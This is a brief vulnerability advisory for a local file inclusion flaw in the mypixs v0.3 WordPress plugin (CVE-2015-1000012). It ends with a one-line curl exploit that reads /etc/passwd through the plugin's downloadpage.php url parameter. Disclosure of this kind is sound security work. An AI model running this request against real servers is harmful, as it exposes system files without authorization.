Local File Inclusion Vulnerability in mypixs v0.3 wordpress plugin
CVE ID(s):
CVE-2015-1000012
Notified: 2015-09-16
Description:
MyPixs is a simple, yet powerful JavaScript and PHP application that gives you the possibility to display a lot of photos on your blog.
Exploit:
curl http://example.com/wp-content/plugis/mypixs/mypixs/downloadpage.php?url=/etc/passwd